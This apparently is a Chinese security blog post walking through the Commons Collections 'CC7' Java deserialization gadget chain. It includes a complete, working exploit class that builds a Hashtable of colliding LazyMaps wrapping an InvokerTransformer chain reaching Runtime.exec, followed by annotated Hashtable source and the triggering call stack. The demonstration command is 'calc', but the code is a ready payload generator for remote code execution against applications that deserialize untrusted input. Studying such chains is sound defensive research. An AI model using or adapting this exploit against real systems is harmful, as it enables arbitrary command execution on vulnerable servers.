CC7复习
# 本文知识点:
测试环境:3.1-3.2.1,jdk1.7,1.8
这里仍然是想法子触发 LazyMap.get ()。Hashtable 的 readObject 中。遇到 hash 碰撞时,通过调用一个对象的 equals 方法对比两个对象判断是真的 hash 碰撞。这里的 equals 方法是 AbstractMap 的 equals 方法。
# 正文:
直接上代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
        Transformer[] fakeTransformer = new Transformer[]{};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //ChainedTransformer实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        //LazyMap实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");
        //通过反射设置真的 ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
        lazyMap2.remove("yy");
        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();
        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
Hashtable 类的关键代码如下:
//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
       ………………
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();
            //reconstitutionPut方法
            reconstitutionPut(newTable, key, value);
        }
        this.table = newTable;
    }
//跟进 reconstitutionPut 方法
    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        int hash = hash(key);
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
            //注意这里的 equals 方法
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        Entry<K,V> e = tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
跟进上面的 equals 方法,发现最终调用了 AbstractMap 类的 equals 方法,如下:

就是在这里触发了 LazyMap.get ()。
大体调用栈:
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
  ->Hashtable.readObject()
      ->Hashtable.reconstitutionPut()
            ->AbstractMapDecorator.equals
                ->AbstractMap.equals()
                  ->LazyMap.get.get()
                    ->ChainedTransformer.transform()
                      ->ConstantTransformer.transform()
                        ->InvokerTransformer.transform()
                          ->…………
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 月光倾泻与山海,你跌进我的梦里!